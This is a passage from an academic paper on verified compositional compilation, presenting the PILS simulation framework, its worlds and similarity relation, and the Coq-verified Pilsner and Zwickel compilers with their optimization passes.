for brevity, as they are straightforward. The configuration monoid is

Reg 3 r ::= sp | clo | arg | env | ret | aux | i
Oper 3 o ::= n | r | 〈r ± n〉 | [r ± n]
Instr 3 z ::= jmp o | jnz r o | ld r o | sto o r | lpc r |

bop ◦ r o1 o2 | input r | output r | alloc r1 r2

Val := Word
Anch := Word
Cont := Word
RegFile := Reg→Word
Stack := (Word ⇀ Word)⊥
Heap := (Word ⇀ Word)⊥
Mach := Heap× Stack× RegFile×Word

real(c) := {m |m = c ∧ c.hp 6= ⊥ ∧ c.hp finite ∧ c.st 6= ⊥}

Figure 6. Target language T

defined analogously to the previous languages (heap and stack can
be split, the rest cannot).

In order to abstract away the distracting details of relocation, we
model target modules as (meta-level) functions. A module thus takes
a load address (the role of anchors in T) and imports (a value for
each imported label), and returns a data segment from which one can
obtain the exported values as well as an initial heap (containing all
the code) in which they make sense. Linking two modules essentially
just concatenates their data segments.

Finally, we dictate the following contract (“calling convention”)
for calls to module-level functions, both intra- and inter-module:
To call a function, (1) write its value into register clo, (2) write its
argument into register arg, (3) write its return address into register
ret, and (4) jump to [clo+0], i.e., to wherever the value in the heap
at address clo points to. If and when control eventually reaches the
return address, (5) the function’s result must reside in register arg.
Moreover, (6) registers env and sp must have been preserved (i.e.,
these are callee-save registers while the rest are caller-save), and the
stack must have been preserved as well.

5. PILS, Part 2: Worlds and Similarity
5.1 Worlds
Worlds are the formalism used by KLRs and PILS to incorporate
the idea of protocols described in §3. Their shape is shown in
Figure 7. The account of worlds and PILS we present here is
somewhat simplified for the sake of presentation. For example, we
omit an important distinction between public and private transitions
in protocols, because it is inherited directly from the prior work
on KLRs [8] and PBs [9]. At various points, we will discuss
several ways in which our actual model (verified in Coq) is more
sophisticated. Full details are given in the technical appendix [1].

We distinguish between global worlds and local worlds. Ulti-
mately we relate programs under a full world, which is the compo-
sition of a global and a local one. The global world is a parameter
of the definitions and needs to be instantiated together with the
language implementations—we define exactly one global world for
each language pair of interest (WTI, WII, WIS, and WTS). Its task
is to describe the calling convention and data representation that all
modules have to follow. It also governs the global references, i.e.,
values being passed around at reference type, and the memory that
those point to. A local world, on the other hand, is what one gets to
pick in the proof of module similarity. It can assert properties about
the modules’ local state, e.g., as illustrated in §3.

Global and full worlds have the same structure. They consist
of a transition system T , a configuration relation crel, and several
methods for “querying” the global state (to be discussed in §5.2).

A transition system defines a protocol state space S with (in-
verted) transition relation w, and the configuration relation defines
the interpretation of the states as relational constraints on the two
programs’ memories. For instance, in the example from §3, S would
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VRelFA,B := TypeF→P(A.Val×B.Val)
VRelA,B := Type→P(A.Val×B.Val)

T ∈ TrSys := {(S,w) ∈ Set× P(S× S) | w is preorder}

QHTA,B := {(vqha ∈ T.S mon−→ VQryA → P(A.Val)

, vqhb ∈ T.S mon−→ VQryB → P(B.Val)
, cqha ∈ T.S→ CQryA → P(A.Conf)
, cqhb ∈ T.S→ CQryB → P(B.Conf)

, rqh ∈ T.S mon−→ VRelA,B)}
CRTA,B := {crel ∈ (T.S→ VRelFA,B)

mon−→
T.S→ P(A.Conf ×B.Conf)}

WorldA,B := {(T ∈ TrSys, ∈ CRTA,B , ∈ QHTA,B)}
WorldLA,B := {(T ∈ TrSys, ∈ CRTA,B)}

Figure 7. Worlds (simplified)

be a two-element set {s0, s1}, w would be {(s1, s0)}∗, and crel
would map state sn to a singleton heap that stores n at location lx.
The fact that crel takes the unknown relation U as argument matters
when the protocol involves higher-order state (see [9]).

Local worlds are like full worlds except that they don’t con-
tain the global query handlers. Combining a local world w ∈
WorldLA,B with a global world W works straightforwardly by
taking the product of their transition systems, the separating con-
junction of their configuration relations, and passing all state queries
on to W .

5.2 Similarity
At the top-level, PILS define module similarity, which we instantiate
to obtain -TS and so on. The main ingredient of this is E, the
coinductively defined behavioral similarity for “expressions”, which
is parameterized over the unknown relation U representing assumed
similarity (as discussed in §3). In our generic setting there is
no notion of expressions, but we find it helpful to refer to the
configurations related by E as such. Indeed, for the source language
S these configurations will usually just be expressions (i.e., heap
and environment are missing). For T, on the other hand, they will
usually just be program counters (i.e., heap, stack, and register
file are missing). The missing parts will be provided by the world.
In particular, in T, the global part of the world always owns the
register file, because it is a global resource accessible by any module.
Concretely this means that the state of the two global worlds
involving T (for -TS and for -TI) contains the current register file
R and their crel only allows machine configurations whose register
file is precisely R.

Let us now analyze the simplified presentation of E in Figure 8,
first at a high level and then in more detail. Very roughly, it relates
two programs ea (the “target” of a transformation) and eb (the
“source” of a transformation) iff one of three cases holds:

(ERR) eb can silently (i.e., without I/O) produce an error.

(RET) ea is finished, and eb can silently finish returning a related
value.

(STEP) ea can take a step and eb can match it (perhaps after some
internal computation). “Match” means that both steps produce
the same event and that the remaining computations either (REC)
are again related by E, or (CALL) are about to call related “exter-
nal” functions, i.e., functions related by the unknown relation U .
This “external call” case is the characteristic feature of PBs, as
discussed in §3. (K, not shown here, relates continuations and
is defined in terms of E.)

In the explanation above, we glossed over many details. For a start,
E is indexed implicitly by a full world W and explicitly by several

parameters including the unknown relation U . We now take a closer
look at the definition and discuss the key parameters.

Asymmetric small-step formulation. In contrast to the symmetric
big-step formulation of E in Hur et al. [9], PILS employ an
asymmetric small-step formulation. Notice how E’s STEP case asks
us to consider each possible step of the “target” program ea in
turn (using REC repeatedly), each time demanding us to match
it with several steps of the “source” program eb. Besides being
seemingly necessary to properly deal with events (here: I/O), such an
asymmetric small-step formulation is also important in the context
of compiler verification because it gives the compiler the flexibility
to remove erroneous behaviors of the source program and resolve
some of its nondeterminism.

In this simplified presentation of E, eb is forced to take at least as
many steps as ea. Of course, this is overly restrictive and the actual
definition relaxes this—more or less in the usual way (allowing
stuttering), but with perhaps unusual implications. We discuss this
in §6.1.

Protocol conformance. In order to talk about the execution of ea
and eb, we first need to “complete” these configurations and convert
them into physical machines. These completions should not be
completely arbitrary; they should adhere to the world’s constraints
at the current state s. Hence we quantify over ca and cb, representing
the portion of the machine state constrained by the world W , and
require—in the helper definition configure—that they are indeed
related byW.crel(U)(s). We then attach these to ea and eb, together
with arbitrary frame configurations ηa and ηb representing the rest
of the running program state. Finally, we only consider machines
ma and mb that realize these composed configurations.

The two other occurrences of configure (in STEP and RET) are
proof obligations. For instance, STEP requires us to show that, after
the step, each resulting machine can again be decomposed into a
(possibly new) expression e′a, a (possibly new) configuration c′a, and
the original frame configuration ηa (similarly for the b-side), since
we should not have touched the frame’s private state. Moreover, c′a
and c′b must again satisfy W ’s constraints, but we may advance s to
a future state s′ in order to achieve that.

Configuration queries. The RET case has to assert (in a language-
generic way) that the two computations have finished and returned
similar values. In our source language, termination is a syntactic
property and is trivial to check. But what does it mean for a T
computation to be “finished”? We take it to mean that control has
reached the original return address. In order to determine whether
this is the case, we need to know the return address in the first place.
This is why E takes as arguments initial continuations k0a and k0b .

The actual check is then performed with the help of the world.
Its global part provides configuration query handlers cqha and
cqhb that answer questions such as “in state s′, does e′a con-
stitute a return of value va to continuation k0a?”, written e′a ∈
W.cqha(s′)(ret va k

0
a). For T, this amounts to checking that the

program counter of e′a (typically its only component) equals k0a and
that the return register contains va. The latter requires inspecting
the given state s′, because it contains the register file.

A different query, app, is used by the STEP/CALL case to test if
both configurations represent function calls. In effect, this means
that the global world’s implementation of cqha and cqhb determines
a major part of the calling conventions.

Value closure and value queries. Both the RET and STEP/CALL
cases also require that certain values are related, e.g., the returned
results: (va, vb) ∈ 〈〈U(s′)〉〉s

′
(τ). But what is this relation exactly?

As in PBs, U is intuitively only needed to relate unknown “exter-
nal” functions passed in from the environment. The value closure
operation 〈〈−〉〉 lifts it to other value forms in a straightforward way,
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E ∈ A.Cont×B.Cont→ (W.S→ VRelFA,B)→W.S→ Type→ P(A.Conf ×B.Conf)
E(k0a, k

0
b )(U)(s)(τ) = {(ea, eb) | U ∈ U =⇒ ∀ca, cb, ηa, ηb. ∀(ma,mb) ∈ configure(U)(s)(ca, cb)(ea · ηa, eb · ηb).
(ERR) ∃m′b. mb

ε
↪→
∗
m′b ∧m′b ∈ B.error

∨ (RET) ∃m′b, s′, va, vb, e′a, e′b, c′a, c′b. mb
ε
↪→
∗
m′b ∧ s′ w s ∧ (ma,m

′
b) ∈ configure(U)(s′)(c′a, c

′
b)(e

′
a · ηa, e′b · ηb) ∧

(va, vb) ∈ 〈〈U(s′)〉〉s
′
(τ) ∧ (e′a, e

′
b) ∈W.cqha(s′)(ret va k

0
a)×W.cqhb(s′)(ret vb k

0
b )

∨ (STEP) (∃t,m′a. ma
t
↪→ m′a) ∧ ∀t,m′a. ma

t
↪→ m′a =⇒ ∃e′a, e′b, c′a, c′b,m′b,m′′b , s′.

mb
ε
↪→
∗
m′b

t
↪→ m′′b ∧ s′ w s ∧ (m′a,m

′′
b ) ∈ configure(U)(s′)(c′a, c

′
b)(e

′
a · ηa, e′b · ηb) ∧

(REC) (e′a, e
′
b) ∈ E(k0a, k

0
b )(U)(s′)(τ)

∨ (CALL) ∃τv, τ ′, fa, fb, va, vb, ka, kb. (e′a, e
′
b) ∈W.cqha(s′)(app fa va ka)×W.cqhb(s′)(app fb vb kb) ∧

(fa, fb) ∈ 〈〈U(s′)〉〉s
′
(τv → τ ′) ∧ (va, vb) ∈ 〈〈U(s′)〉〉s

′
(τv) ∧ (ka, kb) ∈ K(k0a, k

0
b )(U)(s′)(τ ′)(τ)

configure ∈ (W.S→ VRelFA,B)→W.S→ (A.Conf ×B.Conf)→ (A.Conf ×B.Conf)→ P(A.Mach×B.Mach)
configure(U)(s)(c′a, c

′
b)(ca, cb) = {(ma,mb) ∈ A.real(ca · c′a)×B.real(cb · c′b) | (c′a, c′b) ∈W.crel(U)(s)}

〈〈−〉〉(−) ∈ VRelFA,B →W.S→ VRelA,B
〈〈R〉〉s = . . . ∪ {(τ → τ ′, va, vb) ∈ R | va ∈W.vqha(s)(fun) ∧ vb ∈W.vqhb(s)(fun)}

∪ {(nat, va, vb) | ∃n. va ∈W.vqha(s)(natn) ∧ vb ∈W.vqhb(s)(natn)}
∪ {(τ1 × τ2, va, vb) | ∃v1a, v2a, v1b , v2b . (v1a, v

1
b ) ∈ 〈〈R〉〉s(τ1) ∧ (v2a, v

2
b ) ∈ 〈〈R〉〉s(τ2) ∧

va ∈W.vqha(s)(pair v1a v
2
a) ∧ vb ∈W.vqhb(s)(pair v1b v

2
b )}

Figure 8. Key components of PILS (simplified)

e.g., by saying that two pairs are related iff their first projections are
related (recursively) and their second projections as well.

When defining the value closure relation generically, we need to
have a way of determining how S’s value forms are represented
by languages A and B. Since all modules must agree on the
representations of values passed by external functions, it makes
sense that the global world governs them. This is exactly the purpose
of the global world’s value query handlers vqha and vqhb.

As an example, consider pairs. In T, we choose to represent
a pair 〈v1, v2〉 such that address a holds the representation of v1
and address a + 1 holds the representation of v2. Since pairs are
immutable in the source language, we must ensure that a will
continue to represent 〈v1, v2〉 in the future.

We achieve this by having the global worlds involving T main-
tain as part of their state a database of allocated values. Their query
handler for T then checks for a matching entry in this database.
Moreover, their crel requires that each value from the database actu-
ally exists in memory, with the expected address and representation.
Finally, the associated transition system ensures that the database
can only ever grow, thus implying that all registered values stay
allocated forever. With this in place, the value closure operation can
be defined analogously to the one for PBs (as a least fixed point).
Some representative cases are shown in Figure 8.

The reader may wonder how we can show that two functions are
related by 〈〈U(s′)〉〉s

′
if they were defined by us and not passed in

from the outside, i.e., not known to be related by U . To do so, it
suffices to show they are “similar”. This is because PBs (and PILS)
impose a “validity” condition on U , namely that it relates at least
all functions that behave “similarly”. Function similarity is defined
essentially via Principle 1 in §3, that is: two functions are similar if
they map arguments that are assumed-related (roughly, related by
U ) to results that are behaviorally-related by E.

5.3 A Note on the Untyped Model
Since our source language is type-safe and therefore its well-typed
programs “don’t go wrong”, neither will correctly produced IL or
target programs. One may thus wonder why our model takes faulty
programs into account (the ERR case in E). The answer is that
this feature is actually crucial for verifying transformations in the

untyped version of the model. (Recall that we obtain this version by
erasing all the type arguments from the definitions in Figures 7–8.)

To see this, first consider the following optimization at the source
level (where x is a variable of type nat):

fix f(x). ifnz x then e else e ; fix f(x). e

In the process of showing that fix f(x). e is similar to the original
function, we will be given arguments related at some unknown
relation U and state s, (nat, va, vb) ∈ 〈〈U(s)〉〉s. Now, by inverting
the definition of 〈〈U(s)〉〉s, we learn that ∃n. va = vb = n.

Let us ignore the remaining proof steps and instead consider this
transformation at the IL level, where we would be working in the
untyped version of the model. There, we will still be given related
arguments, (va, vb) ∈ 〈〈U(s)〉〉s, but this time the type information
is missing. Consequently, when inverting the value closure, we don’t
end up with the single case above (where va = vb = n), but must
also consider all the other cases, such as va and vb being pairs. Now,
note two important points: First, the global world WII’s value query
handlers ensure that whenever vb is a number, then so is va. In that
case we can proceed as we would above in the typed model. Second,
if vb is not a number, then the original program produces an error
and, thanks to ERR, there is nothing more to show.

6. Improved Reasoning Principles
We explained in §5.2 that PILS necessarily employ an asymmetric
small-step formulation of E. However, the particular formulation
that we used results in a somewhat limited and inconvenient reason-
ing principle. Here we explain how to improve on it.

6.1 Allowing Stuttering in a Compositional Way
As mentioned before, our naive asymmetric small-step formulation
forces the “source” program eb to take at least as many steps as the
“target” program ea. This can be seen easily when looking at the
reasoning principle inherent in E’s STEP/REC case at a very high
level: in order to show ea ∼ eb, it suffices to show

∀e′a. ea ↪→ e′a =⇒ ∃e′b. eb ↪→
+
e′b ∧ e′a ∼ e′b.

Note the use of ↪→+, which requires eb to take at least one step for
each step of ea (here, eb ↪→+

e′b corresponds to mb
ε
↪→
∗
m′b

t
↪→

m′′b in the formal definition of E in Figure 8).
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Naturally, we want to allow the source to “stutter” by replacing
↪→+ with ↪→∗, but simply doing so would relate a diverging target
program to any source program and thus render the model unsound.
To solve this, we follow the standard approach [17] of indexing
E by an element of a (proof-local) well-founded partially-ordered
set (poset), and then demand that this element be decreased in the
case of stuttering.

However, in order to support certain “compatibility” lemmas
that are used in our compiler verification (see §7.1), we require a
monoid structure on the order (technically speaking, we use non-
trivial well-founded positive strictly ordered monoids, or “NWPS
monoids” [5]). For example, the compatibility lemma for pairs is
roughly as follows:

ea ∼n eb ∧ e′a ∼n′ e′b =⇒ 〈ea, e′a〉 ∼n+n′ 〈eb, e′b〉
Here eb and e′b can stutter at most n and n′ “times” respectively,
and thus 〈eb, e′b〉 can do so at most n+ n′ times. We therefore need
not just the well-founded poset structure for n, but also a notion of
addition, which NWPS monoids provide.

In order to maximize the user’s flexibility, we provide a way
to lift an arbitrary well-founded poset to an NWPS monoid. More
specifically, given a well-founded poset X , we construct an NWPS
monoidX with an embedding ofX intoX (i.e., an order preserving
and reflecting map from X to X). Thanks to this, the user can
pick an arbitrary well-founded poset without worrying about the
additional monoid structure required by our proof framework.

6.2 Unchaining Internal Computation
A second shortcoming of the definition of E is that it does not
recognize internal steps of computation, treating each step as if it
might result in control being passed to the environment. Concretely,
after each step of the target program and matching steps of the
source program, we are obliged to show that the memory constraints
currently imposed by the world are again met. And then, in reasoning
about the next step of the target program, we are forced to quantify
over completely new configurations yet again.

This is unnecessarily strict. Intuitively, we should not need to
show that the world’s conditions are satisfied again until the point
where we pass control to the environment; similarly, we should not
need to quantify over new configurations except at points where
control is passed to us, because there is no way that the state could
have changed in between the internal steps of our local computation.

To solve this problem, we parameterize E with a boolean flag,
signalling whether we are currently engaged in internal computation
or not. The idea is that when we start a computation and are given
configurations related by the world, we temporarily acquire them
by merging them into our own configurations and setting the flag
to true. As we continue executing local steps, we are freed from
any worldly obligations. However, before we are allowed to use the
RET or CALL case—i.e., when we want to pass control back to the
environment—we will be forced to release our grip on the world by
setting the internal flag to false, at which point we must show that
all the world’s constraints are again satisfied.

6.3 Exploiting Local Determinism
Recall that E asks us to consider a single step of the target program
at a time and that such a formulation is generally necessary because
of non-determinism in the target language. However, reasoning in
such a way can be extremely tedious since T programs are typically
very long. Moreover, usually a single source step translates into
many target steps, so for most of the target steps one would simply
stutter on the source side.

Often one actually knows exactly how the given target program
will execute. In these cases, one would like to just take a number of
steps on the target side and a number of steps on the source side, and

then continue reasoning with the resulting programs. In other words,
instead of doing asymmetric small-step reasoning, one would like
to do symmetric big-step reasoning, which says: in order to show
ea ∼ eb, it suffices to show

ea ↪→∗ e′a ∧ eb ↪→∗ e′b ∧ e′a ∼ e′b.
Fortunately, based on the previous two changes to E, we can

prove a lemma that allows us to do such reasoning when it is sound
to do so, namely when the target execution in question is guaranteed
to behave deterministically. That is, the lemma rests on the idea of
lowering determinism from being a property of a language to being
a property of a machine configuration.

Consequently, we do not need to impose any restrictions on the
languages. This is in contrast to the CompCert compiler, which, in
order to enable forward reasoning, uses languages that are internally
completely deterministic.

7. The Pilsner and Zwickel Compilers
Using PILS, we have proven in Coq the correctness of two compilers
from S to T: Pilsner and Zwickel. Pilsner’s structure is depicted in
Figure 1. It uses a CPS-based intermediate language and performs
several optimizations. Zwickel, on the other hand, is more simplistic:
it directly translates S code into T code in a straightforward way,
similar to Hur and Dreyer’s one-pass compiler [9]. In particular,
Zwickel neither uses an intermediate language nor performs any
CPS transformation. In the remainder of this section, we focus solely
on Pilsner, which is by far the more interesting compiler.

Given a source module, Pilsner first translates it to I via a CPS
transformation. It also takes care to alpha-rename all bound variables
such that in the resulting I module, every variable is bound at most
once. This uniqueness condition simplifies the implementation of
most of the subsequent optimization passes, as one does not have to
worry about accidental variable capturing when rearranging code.
Another nice characteristic of the produced intermediate code (not
of I per se) is that continuations are used in an affine fashion [12],
i.e., called at most once. This property is preserved by all other
transformations at the intermediate level and enables a more efficient
treatment of continuation variables compared to ordinary variables
in the code generation pass.

At the intermediate level, Pilsner performs six optimizations. It
first inlines selected top-level functions. For instance, if a module
defines F = fix f(y, k). e, then a call to F inside a subsequently
defined function will be rewritten as follows:

F x k′ ; e[F/f ][x/y][k′/k]

(If the function is recursive, i.e., if f is used in e, this is essentially
just an unrolling.) Since inlining destroys the uniqueness property
of bound variables, we immediately follow it with a “freshening”
pass that re-establishes uniqueness.

Next comes contification, which we discuss in §7.2. Subse-
quently, Pilsner performs a simple dead code (and variable) elimina-
tion, rewriting let x = a in e to e whenever x does not occur in e.
This is justified because, in our IL, evaluation of an atomic expres-
sion a does not have any observable side effects. In the same manner,
it also eliminates unused read operations and unused allocations
(but not write operations because that would be unsound). Follow-
ing DCE, it hoists let-bindings out of function and continuation
definitions, subject to some syntactic constraints. For example:

let f = (fix f(y, k). let z = x.1 in e) in e′

; let z = x.1 in let f = (fix f(y, k). e) in e′

if x is none of f, y, k. This avoids recomputation of the projection
each time f is called.

Next comes a pass that commutes let-bindings (where possible)
in order to group together bindings that assign names to the same
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expression. For instance:

let x = a in let y = b in let z = a in e
; let x = a in let z = a in let y = b in e

The last IL transformation, deduplication, gets rid of such consecu-
tive duplicate bindings by rewriting the above expression as follows:

; let x = a in let y = b in e[x/z]

This can be seen as a common subexpression elimination.
Code generation, the final pass in the chain, translates to the

machine language T. Recall that there are three kinds of “variables”
in I: term variables x, continuation variables k, and labels F . Labels
are translated to absolute addresses according to the import table.
Term variable accesses are translated to lookups (based on position)
in a linked list on the heap, pointed to by the env register. Functions
are converted to closures, i.e., pairs of environment and code pointer
(module-level functions simply have an empty environment), which
live on the heap. A closure’s environment is loaded into the env
register when the function is called. Finally, continuations are
allocated on the stack. Accordingly, continuation variable accesses
are translated to lookups (based on position) on the stack, with the
side effect that the continuation in question, as well as all more-
recently defined ones (above it on the stack), are popped. This is
safe because the affinity property mentioned earlier ensures that they
won’t be needed anymore.

7.1 Infrastructure for IL Transformations
For the local IL transformations in Pilsner, we developed a sim-
ple framework of transformations as expression annotations. The
idea is to split module-level transformations into two parts: (1) an
analysis that is applied to each top-level function and annotates se-
lected subexpressions with to-be-performed micro-transformations
(but does not actually rewrite the code); and (2) the micro-
transformations themselves, together with their correctness proofs.
Given these, we automatically produce a verified module transfor-
mation that analyzes the input module and performs transformations
according to the generated annotations in a bottom-up manner.

A micro-transformation is a partial function on expressions—
it must fail if the preconditions for its correctness do not hold.
For instance, here is the (only) micro-transformation used in the
commute-pass of Pilsner:

commute ∈ exp ⇀ exp
commute(e) := let y = b in let x = a in e0

if e is (let x = a in let y = b in e0) and x /∈ FV(b)

In the case that a micro-transformation fails (for which the anal-
ysis is to blame), the subexpression that was being transformed
simply stays unchanged, or, alternatively, the whole module trans-
formation (and thus the compiler) fails. In either case, if the module
transformation succeeds, the output module is guaranteed to cor-
rectly implement the input module. This means that the analysis
does not need to be verified—in the worst case, the transformation
doesn’t optimize the code.

The concrete correctness property demanded by the framework
for each micro-transformation f is twofold. Syntactic correctness
says that f preserves well-formedness (including affinity of continu-
ation variables) and the uniqueness condition. Semantic correctness
states the following:

f(e) = e′ Γ ` e unique(BV(e),Γ)

Γ ` e′ 4∗II e

The relation in the conclusion is the reflexive transitive closure of
4II, a fairly straightforward lifting of E from configurations to open
I expressions (not to be confused with module similarity -II). Its
definition considers the expressions under an arbitrary unknown

relation and state, with pointwise-related environments8 providing
values for the term variables and labels in Γ as well as continuations
for the continuation variables in Γ. The local world that it uses is
empty, which suffices for reasoning about Pilsner’s optimizations.

In order to ease the proofs of semantic correctness, we provide
typical compatibility lemmas about 4II. They state that the relation
is preserved by each language construct of I, and are very helpful in
verifying transformations that leave parts of the module unchanged
(even outside our annotation framework). The lemmas are straight-
forward but tedious to show. Only the one about recursive functions
requires a proof by coinduction, as one would expect.

7.2 Contification
Pilsner includes a (very simplistic) contification pass. Contifica-
tion [7] is an optimization that turns a function into a continuation
when the function is only ever called with the same continuation
argument. This makes control flow more explicit, thus potentially
enabling subsequent optimizations. In Pilsner, it has the additional
benefit that continuations don’t need to be heap-allocated.

Contification in Pilsner uses the framework described above, i.e.,
it first runs an untrusted analysis that annotates places in the module
where the expression-level contification should happen. This saves
a lot of work because only the expression-level contification needs
to be verified. This transformation consists of two steps. Given a
contifiable function binding

let f = (fix f(x, k). e) in e′

(for simplicity we gloss over the issue of variable uniqueness here),
we first extend it with a fresh continuation definition, namely the
contification of f :

let f = (fix f(x, k). e) in
let kf y = e[y/x][k′/k] in e′

Here, k′ is the continuation being passed in all invocations of f
within e′. In the second step, these invocations of f are turned into
calls of the newly added continuation kf (e.g., f z k′ ; kf z).
Note that contification does not purge the definition of f , but leaves
this to the dead code elimination pass. If the analysis is incorrect,
then either the expression-level contification will fail or it will
succeed but dead code elimination won’t be able to remove the
original function binding.

Regarding verification of the expression-level transformation,
obviously the first step is trivially correct as it only introduces an
unused binding, and so the hard work lies in dealing with the second
stage. The core property we need to show is that calls of kf are
related to calls of f , i.e., something along the lines of:

Γ ` kf z 4∗II f z k
′

Of course this does not hold in such general form, because the
connection between kf and f would be lost. We must restrict
attention to environments in which kf (in the “target” program)
actually maps to the contified version of whatever f maps to (in
the “source” program). To do so, we generalize the Γ ` e′ 4II e
judgment to the form Γ; Σa; Σb ` e′ 4II e, where Σa and Σb each
map a subset of Γ to closure values with concrete code expressions
(if these subsets are empty, we obtain the original judgment). The
property we then prove roughly looks as follows:

Σa(kf ) = λy. e[y/x][k′/k] Σb(f) = fix f(x, k). e

Γ; Σa; Σb ` kf z 4∗II f z k
′

The generalized judgment is crucial because it supports the same
compatibility properties as the original one did (modulo some new

8 We actually allow variables in the “target” expression to be renamings of
those in the “source” expression, as needed e.g. in the proof of deduplication.
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side conditions). These compatibility properties enable us to lift the
above correctness result, which says we can rewrite f z k′ to kf z,
to a result which says we can rewrite all calls of f to calls of kf
inside the expression e′ in which f is bound.

7.3 Verification of Code Generation
Code generation is the most radical transformation in Pilsner, and
so it comes as no surprise that its proof is also the longest. Here we
give a brief overview.

The goal is to show codegen(M) -TI M (ignoring contexts)
for well-formed I module M . With two simple inductions following
the recursive definition of code generation (one on module well-
formedness, one on expression well-formedness), the goal reduces
to showing a collection of compatibility-like lemmas. Each of these
states that one particular I expression form is related to the code
generated for it. The hard work lies in defining this relation—let’s
call it 4TI (not to be confused with module similarity -TI)—and
then proving the lemmas.

In 4TI, we must ultimately say that the two programs are
similar according to E. But clearly the generated code makes
many assumptions about its environment, e.g., where term variables
can be looked up, how continuations are laid out on the stack,
where temporary results are placed, etc. In order to restrict the
environments in which the code is placed, we must therefore
express parts of the compiler-internal protocol that the code follows.
Naturally, the world plays a critical role here.

While the proofs of all other passes are oblivious to the local
world, for the code generation proof it is critical that we can choose a
particular one. We construct it such that its state is always a pair of a
heap and a stack, representing the memory used internally by Pilsner.
This memory is used for storing (i) code, (ii) variable environment,
and (iii) continuations.

Regarding (i), we use our local world in 4TI to express the initial
assumption that the generated code resides in memory and that the
program counter points to the first instruction. This alone is not
sufficient, though: when reasoning about an external function call
we need to know that, when the function returns, our code is still in
memory—otherwise, we wouldn’t even know which instructions get
run next. To achieve this, we define our world’s transition relation
such that it rules out any mutation of Pilsner-generated code residing
on the heap. (Note that this does not prevent other modules that we
link with from using self-modifying code themselves.)

Regarding (ii), we use our local world in 4TI to express that
the env register points to a linked list in the heap—the variable
environment—and that each of the values stored there is related
to its counterpart in the I program’s environment by (the value
closure of) U . When reasoning about code involving a variable
lookup, we can then be sure to get the correct value. Of course,
when reasoning about code that extends the variable environment
(e.g., code for a regular let-binding), we must be able to update the
state accordingly. For this reason, while disallowing transitions that
mutate the environment list, we do allow transitions that extend it.

Regarding (iii), we use our local world in 4TI to express that
for each continuation in the I program’s environment there is a
corresponding continuation (code pointer and environment) on the
machine stack. This correspondence is not trivial, as it must in
turn describe the assumptions that code generated for continuations
makes. For instance, such code assumes that before it gets executed
the stack is popped as described at the beginning of the section.

7.4 Extraction
Our Coq development contains a script that extracts Pilsner (and
Zwickel) as OCaml code and couples it with code for parsing
command-line arguments as well as a lexer and parser for the
source language. In order to execute target machine code, we have

implemented a single-step interpretation function in Coq and proved
that it conforms to the operational semantics. This function is
extracted to OCaml and wrapped in a loop.

Pilsner provides command-line flags to selectively disable opti-
mizations (more precisely, one flag per IL transformation). Accord-
ingly, the extracted Pilsner function takes not only a source module
as argument but also a selection, a record of booleans indicating
for each transformation whether it is to be performed. We have
proven that Pilsner is correct for any such selection and thus for any
combination of compiler flags (not shown in Theorem 3).

8. Discussion and Related Work
Proof of transitivity. Recall the statement of Theorem 5. We
actually derive this as a corollary of two properties:

Lemma 1 (Transitivity, decomposed).
|Γ| `MT -TI MI : |Γ′| Γ `MI -IS MS : Γ′

Γ `MT -TS MS : Γ′
(1)

|Γ| `MI -II M
′
I : |Γ′| Γ `M ′I -IS MS : Γ′

Γ `MI -IS MS : Γ′
(2)

Note that we do not need to show transitivity of -II itself because
we can simply iterate (2).

Thanks to our uniform setup, the proofs of (1) and (2) mirror
each other. They also closely follow the transitivity proof of the
original PB model [10]. However, since our language “in the middle”
is untyped, the complexity having to do with abstract types can
be avoided. On the other hand, due to our asymmetric small-step
formulation of E and the possibility of stuttering, the part of the
proof dealing with E becomes significantly more tricky.

As for PBs, one of the main complexities in the PILS transitivity
proof lies in dealing with an ambiguity regarding reference alloca-
tion: while in one of the two given proofs, an allocation of the middle
program may be treated as public (extending the global state), the
same allocation may be treated as private (extending the local state)
in the other proof. This is a result of transitivity being proven for
completely arbitrary local worlds! One might wonder if we could
not simplify matters significantly by resorting to an instrumentation
of the IL that makes the choice of public vs. private allocation ex-
plicit in the program code. It seems to us that this approach only
makes sense if one is willing to a priori decide on all subsequent
optimizations. The issue is that a later added optimization might, for
instance, figure out that some reference is never used and therefore
can be removed. Such can only be proven correct if the reference
was allocated as private, which it may not have been. For the sake
of modularity, we therefore believe it is better to bite the bullet and
deal with the ambiguity issue semantically, e.g., in the way we did.

Parametric bisimulations. PBs [9] were inspired by a number
of different methods for relational reasoning about higher-order
stateful languages: notably, Kripke logical relations [6], normal form
bisimulations [23], and environmental bisimulations [24, 21]. From
Kripke logical relations, PBs adapted the mechanism of possible
worlds as state transition systems, enabling the enforcement of
protocols on local or global state. From normal form bisimulations,
PBs took the central idea of viewing unknown functions as black
boxes—in particular, the CALL case in Figure 8 is highly reminiscent
of a similar case in normal form bisimulations. From environmental
bisimulations, PBs borrowed the treatment of abstract types and
polymorphism via type names (which we have glossed over here).

The key advance of PBs was to show how to combine all
these mechanisms in a way that supported transitive composition
and did not rely on “syntactic” devices employed by the other
higher-order simulation methods (e.g., modeling related unknown
functions as a common free variable [23], or using context closure
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operations [24, 21]), because such syntactic devices would preclude
a generalization to inter-language reasoning. But it was far from
obvious whether PBs would necessarily fare any better in this regard.

In this paper, we have demonstrated through PILS that the claims
of Hur et al. [9] were indeed correct, and that PBs do in fact
generalize to inter-language reasoning as promised.

Multi-language semantics. Motivated by the goal of supporting
compiler verification for programs that interoperate between differ-
ent languages, Perconti and Ahmed [19] propose an approach based
on multi-language semantics [16]. In particular, they define a “big-
tent” language that comprises the source, target, and intermediate
languages of a compiler, and provides “wrapping” operations for
embedding terms of each language within the others. They then use
logical relations to prove that every source module is contextually
equivalent to a suitably wrapped version of the target module to
which it is compiled. In this way, their method synthesizes the bene-
fits of logical relations (modularity and different source and target
languages) and contextual equivalence (transitivity).

One downside of their approach is that the intermediate lan-
guages (ILs) used in a compiler show up explicitly in the statement
of compiler correctness. This leads to a loss of flexibility: the se-
mantics of source-level linking is not preserved when linking the
results of compilers that have different ILs. Another limitation with
respect to flexibility is that their approach seems to be restricted
to compilers that use typed intermediate and assembly languages,
and has only so far been applied to a purely functional source lan-
guage. On the other hand, Perconti and Ahmed are more flexible
than we are with respect to multi-language interoperation. One of
their explicit goals is to reason about the linking of ML code with
arbitrary typed assembly code, whereas we only support verified
linking with assembly modules that refine some source-level coun-
terpart. As we observed in footnote 1, we do not believe this is a
fundamental limitation of our approach: it should in principle be
possible to develop PILS for a different source language in which
high- and low-level modules may interoperate, in which case the
“source”-level specification of a “target”-level module could be the
target-level module itself. But we leave that to future work.

Compositional verified compilation for C. Motivated by the goal
